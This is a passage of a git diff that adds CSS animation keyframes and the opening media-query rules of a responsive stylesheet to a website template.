0; + + transform: translateY(-400px); + } + 60% { + + transform: translateY(30px); + } + 80% { + transform: translateY(-10px); + } + 100% { + opacity: 1; + + transform: translateY(0); + } +} + +.bounceInDown.go { + -webkit-animation-name: bounceInDown; + animation-name: bounceInDown; +} + + +/********** +* Fade In * +**********/ +@-webkit-keyframes fadeIn { + 0% {opacity: 0;} + 100% {opacity: 1; + display:block;} +} +@keyframes fadeIn { + 0% {opacity: 0;} + 100% {opacity: 1; + display:block;} +} +.fadeIn{ + opacity:0; +} +.fadeIn.go { + -webkit-animation-name: fadeIn; + animation-name: fadeIn; +} + +/********** +* Grow in * +***********/ + +@-webkit-keyframes growIn { + 0% { + -webkit-transform: scale(0.2); + opacity:0; + } + 50% { + -webkit-transform: scale(1.2); + + } + 100% { + -webkit-transform: scale(1); + opacity:1; + } +} +@keyframes growIn { + 0% { + transform: scale(0.2); + opacity:0; + } + 50% { + transform: scale(1.2); + + } + 100% { + transform: scale(1); + opacity:1; + } +} +.growIn { + + -webkit-transform: scale(0.2); + transform: scale(0.2); + opacity:0; +} +.growIn.go{ + -webkit-animation-name: growIn; + animation-name: growIn; +} + +/******** +* Shake * +********/ +@-webkit-keyframes shake { + 0%, 100% {-webkit-transform: translateX(0);} + 10%, 30%, 50%, 70%, 90% {-webkit-transform: translateX(-10px);} + 20%, 40%, 60%, 80% {-webkit-transform: translateX(10px);} +} +@keyframes shake { + 0%, 100% {transform: translateX(0);} + 10%, 30%, 50%, 70%, 90% {transform: translateX(-10px);} + 20%, 40%, 60%, 80% {transform: translateX(10px);} +} +.shake.go { + -webkit-animation-name: shake; + animation-name: shake; +} + +/******** +* ShakeUp * +********/ +@-webkit-keyframes shakeUp { + 0%, 100% {-webkit-transform: translateY(0);} + 10%, 30%, 50%, 70%, 90% {-webkit-transform: translateY(-10px);} + 20%, 40%, 60%, 80% {-webkit-transform: translateY(10px);} +} +@keyframes shakeUp { + 0%, 100% {transform: translateY(0);} + 10%, 30%, 50%, 70%, 90% {transform: translateY(-10px);} + 20%, 40%, 60%, 80% {transform: translateY(10px);} +} +.shakeUp.go { + -webkit-animation-name: shakeUp; + animation-name: shakeUp; +} + +/************* +* FadeInLeft * +*************/ + +@-webkit-keyframes fadeInLeft { + 0% { + opacity: 0; + -webkit-transform: translateX(-400px); + } + 50%{ + opacity: 0.3; + } + 100% { + opacity: 1; + -webkit-transform: translateX(0); + } +} +@keyframes fadeInLeft { + 0% { + opacity: 0; + transform: translateX(-400px); + } + 50%{ + opacity: 0.3; + } + 100% { + opacity: 1; + transform: translateX(0); + } +} +.fadeInLeft{ + opacity: 0; + -webkit-transform: translateX(-400px); + transform: translateX(-400px); +} +.fadeInLeft.go { + -webkit-animation-name: fadeInLeft; + animation-name: fadeInLeft; +} + + +/************* +* FadeInRight * +*************/ + +@-webkit-keyframes fadeInRight { + 0% { + opacity: 0; + -webkit-transform: translateX(400px); + } + 50%{ + opacity: 0.3; + } + 100% { + opacity: 1; + -webkit-transform: translateX(0); + } +} +@keyframes fadeInRight { + 0% { + opacity: 0; + transform: translateX(400px); + } + 50%{ + opacity: 0.3; + } + 100% { + opacity: 1; + transform: translateX(0); + } +} +.fadeInRight{ + opacity: 0; + -webkit-transform: translateX(400px); + transform: translateX(400px); +} +.fadeInRight.go { + -webkit-animation-name: fadeInRight; + animation-name: fadeInRight; +} + +/************* +* FadeInUp * +*************/ + +@-webkit-keyframes fadeInUp { + 0% { + opacity: 0; + -webkit-transform: translateY(400px); + } + 50%{ + opacity: 0.3; + } + 100% { + opacity: 1; + -webkit-transform: translateY(0); + } +} +@keyframes fadeInUp { + 0% { + opacity: 0; + transform: translateY(400px); + } + 50%{ + opacity: 0.3; + } + 100% { + opacity: 1; + transform: translateY(0); + } +} +.fadeInUp{ + opacity: 0; + -webkit-transform: translateY(400px); + transform: translateY(400px); +} +.fadeInUp.go { + -webkit-animation-name: fadeInUp; + animation-name: fadeInUp; +} + +/************* +* FadeInDown * +*************/ + +@-webkit-keyframes fadeInDown { + 0% { + opacity: 0; + -webkit-transform: translateY(-400px); + } + 50%{ + opacity: 0.3; + } + 100% { + opacity: 1; + -webkit-transform: translateY(0); + } +} +@keyframes fadeInDown { + 0% { + opacity: 0; + transform: translateY(-400px); + } + 50%{ + opacity: 0.3; + } + 100% { + opacity: 1; + transform: translateY(0); + } +} +.fadeInDown{ + opacity: 0; + -webkit-transform: translateY(-400px); + transform: translateY(-400px); +} +.fadeInDown.go { + -webkit-animation-name: fadeInDown; + animation-name: fadeInDown; +} + +/***************** +* rotateIn * +*****************/ +@-webkit-keyframes rotateIn { + 0% { + -webkit-transform-origin: center center; + -webkit-transform: rotate(-200deg); + opacity: 0; + } + 100% { + -webkit-transform-origin: center center; + -webkit-transform: rotate(0); + opacity: 1; + } +} +@keyframes rotateIn { + 0% { + transform-origin: center center; + transform: rotate(-200deg); + opacity: 0; + } + 100% { + transform-origin: center center; + transform: rotate(0); + opacity: 1; + } +} +.rotateIn.go { + -webkit-animation-name: rotateIn; + animation-name: rotateIn; +} + +/***************** +* rotateInUpLeft * +*****************/ + +@-webkit-keyframes rotateInUpLeft { + 0% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(90deg); + opacity: 0; + } + 100% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(0); + opacity: 1; + } +} +@keyframes rotateInUpLeft { + 0% { + transform-origin: left bottom; + transform: rotate(90deg); + opacity: 0; + } + 100% { + transform-origin: left bottom; + transform: rotate(0); + opacity: 1; + } +} +.rotateInUpLeft.go { + -webkit-animation-name: rotateInUpLeft; + animation-name: rotateInUpLeft; +} + +/******************* +* rotateInDownLeft * +*******************/ +@-webkit-keyframes rotateInDownLeft { + 0% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(-90deg); + opacity: 0; + } + 100% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(0); + opacity: 1; + } +} +@keyframes rotateInDownLeft { + 0% { + transform-origin: left bottom; + transform: rotate(-90deg); + opacity: 0; + } + 100% { + transform-origin: left bottom; + transform: rotate(0); + opacity: 1; + } +} +.rotateInDownLeft.go { + -webkit-animation-name: rotateInDownLeft; + animation-name: rotateInDownLeft; +} + +/****************** +* rotateInUpRight * +*******************/ + +@-webkit-keyframes rotateInUpRight { + 0% { + -webkit-transform-origin: right bottom; + -webkit-transform: rotate(-90deg); + opacity: 0; + } + 100% { + -webkit-transform-origin: right bottom; + -webkit-transform: rotate(0); + opacity: 1; + } +} +@keyframes rotateInUpRight { + 0% { + transform-origin: right bottom; + transform: rotate(-90deg); + opacity: 0; + } + 100% { + transform-origin: right bottom; + transform: rotate(0); + opacity: 1; + } +} +.rotateInUpRight.go { + -webkit-animation-name: rotateInUpRight; + animation-name: rotateInUpRight; +} + +/******************** +* rotateInDownRight * +********************/ + +@-webkit-keyframes rotateInDownRight { + 0% { + -webkit-transform-origin: right bottom; + -webkit-transform: rotate(90deg); + opacity: 0; + } + 100% { + -webkit-transform-origin: right bottom; + -webkit-transform: rotate(0); + opacity: 1; + } +} +@keyframes rotateInDownRight { + 0% { + transform-origin: right bottom; + transform: rotate(90deg); + opacity: 0; + } + 100% { + transform-origin: right bottom; + transform: rotate(0); + opacity: 1; + } +} +.rotateInDownRight.go { + -webkit-animation-name: rotateInDownRight; + animation-name: rotateInDownRight; +} + +/********* +* rollIn * +**********/ + +@-webkit-keyframes rollIn { + 0% { opacity: 0; -webkit-transform: translateX(-100%) rotate(-120deg); } + 100% { opacity: 1; -webkit-transform: translateX(0px) rotate(0deg); } +} +@keyframes rollIn { + 0% { opacity: 0; transform: translateX(-100%) rotate(-120deg); } + 100% { opacity: 1; transform: translateX(0px) rotate(0deg); } +} +.rollIn.go { + -webkit-animation-name: rollIn; + animation-name: rollIn; +} + +/********* +* wiggle * +**********/ + +@-webkit-keyframes wiggle { + 0% { -webkit-transform: skewX(9deg); } + 10% { -webkit-transform: skewX(-8deg); } + 20% { -webkit-transform: skewX(7deg); } + 30% { -webkit-transform: skewX(-6deg); } + 40% { -webkit-transform: skewX(5deg); } + 50% { -webkit-transform: skewX(-4deg); } + 60% { -webkit-transform: skewX(3deg); } + 70% { -webkit-transform: skewX(-2deg); } + 80% { -webkit-transform: skewX(1deg); } + 90% { -webkit-transform: skewX(0deg); } + 100% { -webkit-transform: skewX(0deg); } +} +@keyframes wiggle { + 0% { transform: skewX(9deg); } + 10% { transform: skewX(-8deg); } + 20% { transform: skewX(7deg); } + 30% { transform: skewX(-6deg); } + 40% { transform: skewX(5deg); } + 50% { transform: skewX(-4deg); } + 60% { transform: skewX(3deg); } + 70% { transform: skewX(-2deg); } + 80% { transform: skewX(1deg); } + 90% { transform: skewX(0deg); } + 100% { transform: skewX(0deg); } +} +.wiggle.go { + -webkit-animation-name: wiggle; + animation-name: wiggle; + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in; +} + +/******** +* swing * +*********/ + +@-webkit-keyframes swing { + 20%, 40%, 60%, 80%, 100% { -webkit-transform-origin: top center; } + 20% { -webkit-transform: rotate(15deg); } + 40% { -webkit-transform: rotate(-10deg); } + 60% { -webkit-transform: rotate(5deg); } + 80% { -webkit-transform: rotate(-5deg); } + 100% { -webkit-transform: rotate(0deg); } +} +@keyframes swing { + 20% { transform: rotate(15deg); } + 40% { transform: rotate(-10deg); } + 60% { transform: rotate(5deg); } + 80% { transform: rotate(-5deg); } + 100% { transform: rotate(0deg); } +} +.swing.go { + -webkit-transform-origin: top center; + transform-origin: top center; + -webkit-animation-name: swing; + animation-name: swing; +} + +/******* +* tada * +********/ + +@-webkit-keyframes tada { + 0% {-webkit-transform: scale(1);} + 10%, 20% {-webkit-transform: scale(0.9) rotate(-3deg);} + 30%, 50%, 70%, 90% {-webkit-transform: scale(1.1) rotate(3deg);} + 40%, 60%, 80% {-webkit-transform: scale(1.1) rotate(-3deg);} + 100% {-webkit-transform: scale(1) rotate(0);} +} +@keyframes tada { + 0% {transform: scale(1);} + 10%, 20% {transform: scale(0.9) rotate(-3deg);} + 30%, 50%, 70%, 90% {transform: scale(1.1) rotate(3deg);} + 40%, 60%, 80% {transform: scale(1.1) rotate(-3deg);} + 100% {transform: scale(1) rotate(0);} +} +.tada.go { + -webkit-animation-name: tada; + animation-name: tada; +} + +/********* +* wobble * +**********/ + +@-webkit-keyframes wobble { + 0% { -webkit-transform: translateX(0%); } + 15% { -webkit-transform: translateX(-25%) rotate(-5deg); } + 30% { -webkit-transform: translateX(20%) rotate(3deg); } + 45% { -webkit-transform: translateX(-15%) rotate(-3deg); } + 60% { -webkit-transform: translateX(10%) rotate(2deg); } + 75% { -webkit-transform: translateX(-5%) rotate(-1deg); } + 100% { -webkit-transform: translateX(0%); } +} +@keyframes wobble { + 0% { transform: translateX(0%); } + 15% { transform: translateX(-25%) rotate(-5deg); } + 30% { transform: translateX(20%) rotate(3deg); } + 45% { transform: translateX(-15%) rotate(-3deg); } + 60% { transform: translateX(10%) rotate(2deg); } + 75% { transform: translateX(-5%) rotate(-1deg); } + 100% { transform: translateX(0%); } +} +.wobble.go { + -webkit-animation-name: wobble; + animation-name: wobble; +} + +/******** +* pulse * +*********/ + +@-webkit-keyframes pulse { + 0% { -webkit-transform: scale(1); } + 50% { -webkit-transform: scale(1.1); } + 100% { -webkit-transform: scale(1); } +} +@keyframes pulse { + 0% { transform: scale(1); } + 50% { transform: scale(1.1); } + 100% { transform: scale(1); } +} +.pulse.go { + -webkit-animation-name: pulse; + animation-name: pulse; +} + +/*************** +* lightSpeedInRight * +****************/ +@-webkit-keyframes lightSpeedInRight { + 0% { -webkit-transform: translateX(100%) skewX(-30deg); opacity: 0; } + 60% { -webkit-transform: translateX(-20%) skewX(30deg); opacity: 1; } + 80% { -webkit-transform: translateX(0%) skewX(-15deg); opacity: 1; } + 100% { -webkit-transform: translateX(0%) skewX(0deg); opacity: 1; } +} +@keyframes lightSpeedInRight { + 0% { transform: translateX(100%) skewX(-30deg); opacity: 0; } + 60% { transform: translateX(-20%) skewX(30deg); opacity: 1; } + 80% { transform: translateX(0%) skewX(-15deg); opacity: 1; } + 100% { transform: translateX(0%) skewX(0deg); opacity: 1; } +} +.lightSpeedInRight.go { + -webkit-animation-name: lightSpeedInRight; + animation-name: lightSpeedInRight; + -webkit-animation-timing-function: ease-out; + animation-timing-function: ease-out; +} + +/*************** +* lightSpeedInLeft * +****************/ +@-webkit-keyframes lightSpeedInLeft { + 0% { -webkit-transform: translateX(-100%) skewX(30deg); opacity: 0; } + 60% { -webkit-transform: translateX(20%) skewX(-30deg); opacity: 1; } + 80% { -webkit-transform: translateX(0%) skewX(15deg); opacity: 1; } + 100% { -webkit-transform: translateX(0%) skewX(0deg); opacity: 1; } +} +@keyframes lightSpeedInLeft { + 0% { transform: translateX(-100%) skewX(30deg); opacity: 0; } + 60% { transform: translateX(20%) skewX(-30deg); opacity: 1; } + 80% { transform: translateX(0%) skewX(15deg); opacity: 1; } + 100% { transform: translateX(0%) skewX(0deg); opacity: 1; } +} +.lightSpeedInLeft.go { + -webkit-animation-name: lightSpeedInLeft; + animation-name: lightSpeedInLeft; + -webkit-animation-timing-function: ease-out; + animation-timing-function: ease-out; +} + + +/******* +* Flip * +*******/ +@-webkit-keyframes flip { + 0% { + -webkit-transform: perspective(400px) rotateY(0); + -webkit-animation-timing-function: ease-out; + } + 40% { + -webkit-transform: perspective(400px) translateZ(150px) rotateY(170deg); + -webkit-animation-timing-function: ease-out; + } + 50% { + -webkit-transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); + -webkit-animation-timing-function: ease-in; + } + 80% { + -webkit-transform: perspective(400px) rotateY(360deg) scale(.95); + -webkit-animation-timing-function: ease-in; + } + 100% { + -webkit-transform: perspective(400px) scale(1); + -webkit-animation-timing-function: ease-in; + } +} +@keyframes flip { + 0% { + transform: perspective(400px) rotateY(0); + animation-timing-function: ease-out; + } + 40% { + transform: perspective(400px) translateZ(150px) rotateY(170deg); + animation-timing-function: ease-out; + } + 50% { + transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); + animation-timing-function: ease-in; + } + 80% { + transform: perspective(400px) rotateY(360deg) scale(.95); + animation-timing-function: ease-in; + } + 100% { + transform: perspective(400px) scale(1); + animation-timing-function: ease-in; + } +} +.flip.go { + -webkit-backface-visibility: visible !important; + -webkit-animation-name: flip; + backface-visibility: visible !important; + animation-name: flip; +} + +/********** +* flipInX * +**********/ +@-webkit-keyframes flipInX { + 0% { + -webkit-transform: perspective(400px) rotateX(90deg); + opacity: 0; + } + 40% { + -webkit-transform: perspective(400px) rotateX(-10deg); + } + 70% { + -webkit-transform: perspective(400px) rotateX(10deg); + } + 100% { + -webkit-transform: perspective(400px) rotateX(0deg); + opacity: 1; + } +} +@keyframes flipInX { + 0% { + transform: perspective(400px) rotateX(90deg); + opacity: 0; + } + 40% { + transform: perspective(400px) rotateX(-10deg); + } + 70% { + transform: perspective(400px) rotateX(10deg); + } + 100% { + transform: perspective(400px) rotateX(0deg); + opacity: 1; + } +} +.flipInX.go { + -webkit-backface-visibility: visible !important; + -webkit-animation-name: flipInX; + backface-visibility: visible !important; + animation-name: flipInX; +} + +/********** +* flipInY * +**********/ + +@-webkit-keyframes flipInY { + 0% { + -webkit-transform: perspective(400px) rotateY(90deg); + opacity: 0; + } + 40% { + -webkit-transform: perspective(400px) rotateY(-10deg); + } + 70% { + -webkit-transform: perspective(400px) rotateY(10deg); + } + 100% { + -webkit-transform: perspective(400px) rotateY(0deg); + opacity: 1; + } +} +@keyframes flipInY { + 0% { + transform: perspective(400px) rotateY(90deg); + opacity: 0; + } + 40% { + transform: perspective(400px) rotateY(-10deg); + } + 70% { + transform: perspective(400px) rotateY(10deg); + } + 100% { + transform: perspective(400px) rotateY(0deg); + opacity: 1; + } +} +.flipInY.go { + -webkit-backface-visibility: visible !important; + -webkit-animation-name: flipInY; + backface-visibility: visible !important; + animation-name: flipInY; +} + +/***************** +* Out animations * +*****************/ + + +/************ +* bounceOut * +*************/ +@-webkit-keyframes bounceOut { + 0% { + -webkit-transform: scale(1); + } + 25% { + -webkit-transform: scale(.95); + } + 50% { + opacity: 1; + -webkit-transform: scale(1.1); + } + 100% { + opacity: 0; + -webkit-transform: scale(.3); + } +} +@keyframes bounceOut { + 0% { + transform: scale(1); + } + 25% { + transform: scale(.95); + } + 50% { + opacity: 1; + transform: scale(1.1); + } + 100% { + opacity: 0; + transform: scale(.3); + } +} +.bounceOut.goAway { + -webkit-animation-name: bounceOut; + animation-name: bounceOut; +} + +/************ +* bounceOutUp * +*************/ +@-webkit-keyframes bounceOutUp { + 0% { + -webkit-transform: translateY(0); + } + 20% { + opacity: 1; + -webkit-transform: translateY(20px); + } + 100% { + opacity: 0; + -webkit-transform: translateY(-2000px); + } +} +@keyframes bounceOutUp { + 0% { + transform: translateY(0); + } + 20% { + opacity: 1; + transform: translateY(20px); + } + 100% { + opacity: 0; + transform: translateY(-2000px); + } +} +.bounceOutUp.goAway { + -webkit-animation-name: bounceOutUp; + animation-name: bounceOutUp; +} + +/************ +* bounceOutDown * +*************/ +@-webkit-keyframes bounceOutDown { + 0% { + -webkit-transform: translateY(0); + } + 20% { + opacity: 1; + -webkit-transform: translateY(-20px); + } + 100% { + opacity: 0; + -webkit-transform: translateY(2000px); + } +} +@keyframes bounceOutDown { + 0% { + transform: translateY(0); + } + 20% { + opacity: 1; + transform: translateY(-20px); + } + 100% { + opacity: 0; + transform: translateY(2000px); + } +} +.bounceOutDown.goAway { + -webkit-animation-name: bounceOutDown; + animation-name: bounceOutDown; +} + + +/************ +* bounceOutLeft * +*************/ +@-webkit-keyframes bounceOutLeft { + 0% { + -webkit-transform: translateX(0); + } + 20% { + opacity: 1; + -webkit-transform: translateX(20px); + } + 100% { + opacity: 0; + -webkit-transform: translateX(-2000px); + } +} +@keyframes bounceOutLeft { + 0% { + transform: translateX(0); + } + 20% { + opacity: 1; + transform: translateX(20px); + } + 100% { + opacity: 0; + transform: translateX(-2000px); + } +} +.bounceOutLeft.goAway { + -webkit-animation-name: bounceOutLeft; + animation-name: bounceOutLeft; +} + +/************ +* bounceOutRight * +*************/ +@-webkit-keyframes bounceOutRight { + 0% { + -webkit-transform: translateX(0); + } + 20% { + opacity: 1; + -webkit-transform: translateX(-20px); + } + 100% { + opacity: 0; + -webkit-transform: translateX(2000px); + } +} +@keyframes bounceOutRight { + 0% { + transform: translateX(0); + } + 20% { + opacity: 1; + transform: translateX(-20px); + } + 100% { + opacity: 0; + transform: translateX(2000px); + } +} +.bounceOutRight.goAway { + -webkit-animation-name: bounceOutRight; + animation-name: bounceOutRight; +} + +/************ +* fadeOut * +*************/ +@-webkit-keyframes fadeOut { + 0% {opacity: 1;} + 100% {opacity: 0;} +} +@keyframes fadeOut { + 0% {opacity: 1;} + 100% {opacity: 0;} +} +.fadeOut.goAway { + -webkit-animation-name: fadeOut; + animation-name: fadeOut; +} + +/************ +* fadeOutUp * +*************/ +@-webkit-keyframes fadeOutUp { + 0% { + opacity: 1; + -webkit-transform: translateY(0); + } + 100% { + opacity: 0; + -webkit-transform: translateY(-2000px); + } +} +@keyframes fadeOutUp { + 0% { + opacity: 1; + transform: translateY(0); + } + 100% { + opacity: 0; + transform: translateY(-2000px); + } +} +.fadeOutUp.goAway { + -webkit-animation-name: fadeOutUp; + animation-name: fadeOutUp; +} + +/************ +* fadeOutDown * +*************/ +@-webkit-keyframes fadeOutDown { + 0% { + opacity: 1; + -webkit-transform: translateY(0); + } + 100% { + opacity: 0; + -webkit-transform: translateY(2000px); + } +} +@keyframes fadeOutDown { + 0% { + opacity: 1; + transform: translateY(0); + } + 100% { + opacity: 0; + transform: translateY(2000px); + } +} +.fadeOutDown.goAway { + -webkit-animation-name: fadeOutDown; + animation-name: fadeOutDown; +} + +/************ +* fadeOutLeft * +*************/ +@-webkit-keyframes fadeOutLeft { + 0% { + opacity: 1; + -webkit-transform: translateX(0); + } + 100% { + opacity: 0; + -webkit-transform: translateX(-2000px); + } +} +@keyframes fadeOutLeft { + 0% { + opacity: 1; + transform: translateX(0); + } + 100% { + opacity: 0; + transform: translateX(-2000px); + } +} +.fadeOutLeft.goAway { + -webkit-animation-name: fadeOutLeft; + animation-name: fadeOutLeft; +} + +/************ +* fadeOutRight * +*************/ +@-webkit-keyframes fadeOutRight { + 0% { + opacity: 1; + -webkit-transform: translateX(0); + } + 100% { + opacity: 0; + -webkit-transform: translateX(2000px); + } +} +@keyframes fadeOutRight { + 0% { + opacity: 1; + transform: translateX(0); + } + 100% { + opacity: 0; + transform: translateX(2000px); + } +} +.fadeOutRight.goAway { + -webkit-animation-name: fadeOutRight; + animation-name: fadeOutRight; +} +/************ +* flipOutX * +*************/ +@-webkit-keyframes flipOutX { + 0% { + -webkit-transform: perspective(400px) rotateX(0deg); + opacity: 1; + } + 100% { + -webkit-transform: perspective(400px) rotateX(90deg); + opacity: 0; + } +} +@keyframes flipOutX { + 0% { + transform: perspective(400px) rotateX(0deg); + opacity: 1; + } + 100% { + transform: perspective(400px) rotateX(90deg); + opacity: 0; + } +} +.flipOutX.goAway { + -webkit-animation-name: flipOutX; + -webkit-backface-visibility: visible !important; + animation-name: flipOutX; + backface-visibility: visible !important; +} + +/************ +* flipOutY * +*************/ +@-webkit-keyframes flipOutY { + 0% { + -webkit-transform: perspective(400px) rotateY(0deg); + opacity: 1; + } + 100% { + -webkit-transform: perspective(400px) rotateY(90deg); + opacity: 0; + } +} +@keyframes flipOutY { + 0% { + transform: perspective(400px) rotateY(0deg); + opacity: 1; + } + 100% { + transform: perspective(400px) rotateY(90deg); + opacity: 0; + } +} +.flipOutY { + -webkit-backface-visibility: visible !important; + -webkit-animation-name: flipOutY; + backface-visibility: visible !important; + animation-name: flipOutY; +} + +/************ +* lightSpeedOutRight * +*************/ +@-webkit-keyframes lightSpeedOutRight { + 0% { -webkit-transform: translateX(0%) skewX(0deg); opacity: 1; } + 100% { -webkit-transform: translateX(100%) skewX(-30deg); opacity: 0; } +} +@keyframes lightSpeedOutRight { + 0% { transform: translateX(0%) skewX(0deg); opacity: 1; } + 100% { transform: translateX(100%) skewX(-30deg); opacity: 0; } +} +.lightSpeedOutRight.goAway { + -webkit-animation-name: lightSpeedOutRight; + animation-name: lightSpeedOutRight; + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in; +} + + +/************ +* lightSpeedOutLeft * +*************/ +@-webkit-keyframes lightSpeedOutLeft { + 0% { -webkit-transform: translateX(0%) skewX(0deg); opacity: 1; } + 100% { -webkit-transform: translateX(-100%) skewX(30deg); opacity: 0; } +} +@keyframes lightSpeedOutLeft { + 0% { transform: translateX(0%) skewX(0deg); opacity: 1; } + 100% { transform: translateX(-100%) skewX(30deg); opacity: 0; } +} +.lightSpeedOutLeft.goAway { + -webkit-animation-name: lightSpeedOutLeft; + animation-name: lightSpeedOutLeft; + -webkit-animation-timing-function: ease-in; + animation-timing-function: ease-in; + +} + +/************ +* rotateOut * +*************/ +@-webkit-keyframes rotateOut { + 0% { + -webkit-transform-origin: center center; + -webkit-transform: rotate(0); + opacity: 1; + } + 100% { + -webkit-transform-origin: center center; + -webkit-transform: rotate(200deg); + opacity: 0; + } +} +@keyframes rotateOut { + 0% { + transform-origin: center center; + transform: rotate(0); + opacity: 1; + } + 100% { + transform-origin: center center; + transform: rotate(200deg); + opacity: 0; + } +} +.rotateOut.goAway { + -webkit-animation-name: rotateOut; + animation-name: rotateOut; +} + + +/************ +* rotateOutUpLeft * +*************/ +@-webkit-keyframes rotateOutUpLeft { + 0% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(0); + opacity: 1; + } + 100% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(-90deg); + opacity: 0; + } +} +@keyframes rotateOutUpLeft { + 0% { + transform-origin: left bottom; + transform: rotate(0); + opacity: 1; + } + 100% { + -transform-origin: left bottom; + -transform: rotate(-90deg); + opacity: 0; + } +} +.rotateOutUpLeft.goAway { + -webkit-animation-name: rotateOutUpLeft; + animation-name: rotateOutUpLeft; +} + +/************ +* rotateOutDownLeft * +*************/ + +@-webkit-keyframes rotateOutDownLeft { + 0% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(0); + opacity: 1; + } + 100% { + -webkit-transform-origin: left bottom; + -webkit-transform: rotate(90deg); + opacity: 0; + } +} +@keyframes rotateOutDownLeft { + 0% { + transform-origin: left bottom; + transform: rotate(0); + opacity: 1; + } + 100% { + transform-origin: left bottom; + transform: rotate(90deg); + opacity: 0; + } +} +.rotateOutDownLeft.goAway { + -webkit-animation-name: rotateOutDownLeft; + animation-name: rotateOutDownLeft; +} +/************ +* rotateOutUpRight * +*************/ + +@-webkit-keyframes rotateOutUpRight { + 0% { + -webkit-transform-origin: right bottom; + -webkit-transform: rotate(0); + opacity: 1; + } + 100% { + -webkit-transform-origin: right bottom; + -webkit-transform: rotate(90deg); + opacity: 0; + } +} +@keyframes rotateOutUpRight { + 0% { + transform-origin: right bottom; + transform: rotate(0); + opacity: 1; + } + 100% { + transform-origin: right bottom; + transform: rotate(90deg); + opacity: 0; + } +} +.rotateOutUpRight.goAway { + -webkit-animation-name: rotateOutUpRight; + animation-name: rotateOutUpRight; +} + +/************ +* rollOut * +*************/ +@-webkit-keyframes rollOut { + 0% { + opacity: 1; + -webkit-transform: translateX(0px) rotate(0deg); + } + 100% { + opacity: 0; + -webkit-transform: translateX(100%) rotate(120deg); + } +} +@keyframes rollOut { + 0% { + opacity: 1; + transform: translateX(0px) rotate(0deg); + } + 100% { + opacity: 0; + transform: translateX(100%) rotate(120deg); + } +} +.rollOut.goAway { + -webkit-animation-name: rollOut; + animation-name: rollOut; +} +/***************** +* Short Animations +*******************/ + +/********************* +* fadeInUpShort +*********************/ +@-webkit-keyframes fadeInUpShort { + 0% { + opacity: 0; + -webkit-transform: translateY(20px); + } + 100% { + opacity: 1; + -webkit-transform: translateY(0); + } +} + +@keyframes fadeInUpShort { + 0% { + opacity: 0; + transform: translateY(20px); + } + 100% { + opacity: 1; + transform: translateY(0); + } +} +.fadeInUpShort{ + opacity: 0; + -webkit-transform: translateY(20px); + transform: translateY(20px); +} +.fadeInUpShort.go { + -webkit-animation-name: fadeInUpShort; + animation-name: fadeInUpShort; +} + +/********************* +* fadeInDownShort +*********************/ +@-webkit-keyframes fadeInDownShort { + 0% { + opacity: 0; + -webkit-transform: translateY(-20px); + } + 100% { + opacity: 1; + -webkit-transform: translateY(0); + } +} + +@keyframes fadeInDownShort { + 0% { + opacity: 0; + transform: translateY(-20px); + } + 100% { + opacity: 1; + transform: translateY(0); + } +} +.fadeInDownShort{ + opacity: 0; + -webkit-transform: translateY(-20px); + transform: translateY(-20px); +} +.fadeInDownShort.go { + -webkit-animation-name: fadeInDownShort; + animation-name: fadeInDownShort; +} + +/********************* +* fadeInRightShort +*********************/ +@-webkit-keyframes fadeInRightShort { + 0% { + opacity: 0; + -webkit-transform: translateX(20px); + } + 100% { + opacity: 1; + -webkit-transform: translateX(0); + } +} +@keyframes fadeInRightShort { + 0% { + opacity: 0; + transform: translateX(20px); + } + 100% { + opacity: 1; + transform: translateX(0); + } +} +.fadeInRightShort { + opacity: 0; + -webkit-transform: translateX(20px); + transform: translateX(20px); +} +.fadeInRightShort.go { + -webkit-animation-name: fadeInRightShort; + animation-name: fadeInRightShort; +} + +/********************* +* fadeInLeftShort +*********************/ +@-webkit-keyframes fadeInLeftShort { + 0% { + opacity: 0; + -webkit-transform: translateX(-20px); + } + 100% { + opacity: 1; + -webkit-transform: translateX(0); + } +} +@keyframes fadeInLeftShort { + 0% { + opacity: 0; + transform: translateX(-20px); + } + 100% { + opacity: 1; + transform: translateX(0); + } +} +.fadeInLeftShort { + opacity: 0; + -webkit-transform: translateX(-20px); + transform: translateX(-20px); +} +.fadeInLeftShort.go { + -webkit-animation-name: fadeInLeftShort; + animation-name: fadeInLeftShort; +} diff --git a/template/index8/assets/css/responsive.css b/template/index8/assets/css/responsive.css new file mode 100644 index 0000000..1200c3b --- /dev/null +++ b/template/index8/assets/css/responsive.css @@ -0,0 +1,1076 @@ +/*======================================== += Style Responsive = +========================================*/ +@media only screen and (min-width: 1460px) { + .team-block .images img { + width: 100%; + } +} +@media only screen and (min-width: 1330px) and (max-width: 1440px) { + .base-slider .owl-prev, + .base-slider .owl-next { + margin-top: -58px; + } + .block-features img { + max-width: 100%; + margin-left: 0; + } +} +@media only screen and (min-width: 1200px) and (max-width: 1330px) { + header .menu li { + margin-right: 20px; + } + header .button-header .custom-btn { + width: 98px; + } + .user-slider .owl-nav .owl-next { + right: 50px !important; + } + .user-slider .owl-nav .owl-prev { + left: 50px !important; + } + .blog header .container { + width: 100%; + } + .block-features .col-5 { + padding-left: 0; + } + .block-features img { + margin-left: 0; + } + .block-features .row { + justify-content: center; + } +} +@media only screen and (min-width: 1320px) { + header > .container, + .service-page header .container { + width: 1300px; + } +} +@media only screen and (min-width: 1200px) { + .container { + width: 1139px; + } + .container.small { + width: 1020px; + } + .user-slider .owl-nav .owl-prev { + left: -118px; + } + .user-slider .owl-nav .owl-next { + right: -110px; + } + .user-slider .owl-nav .owl-next, + .user-slider .owl-nav .owl-prev { + margin-top: -5px; + } +} +@media only screen and (min-width: 991px) and (max-width: 1200px) { + /*================================== + = Index.html = + ==================================*/ + header.transparent { + padding: 20px 0 0; + } + header .button-header .custom-btn { + width: 91px; + } + header .menu li { + margin-right: 16px; + } + .base-slider h2 { + font-size: 28px; + } + .base-slider p { + font-size: 11px; + } + .base-slider .inside { + top: 50%; + } + .partner ul li { + margin-right: 60px; + } + .hosting-software ul li { + margin-right: 60px; + padding-right: 60px; + } + .our-team ul li { + width: 222px; + } + .pricing-list { + display: flex; + flex-direction: row; + } + 